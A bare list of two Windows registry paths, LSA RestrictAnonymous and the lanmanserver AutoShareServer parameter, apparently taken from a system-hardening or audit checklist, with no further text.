HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA/RestrictAnonymous HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters/AutoShareServer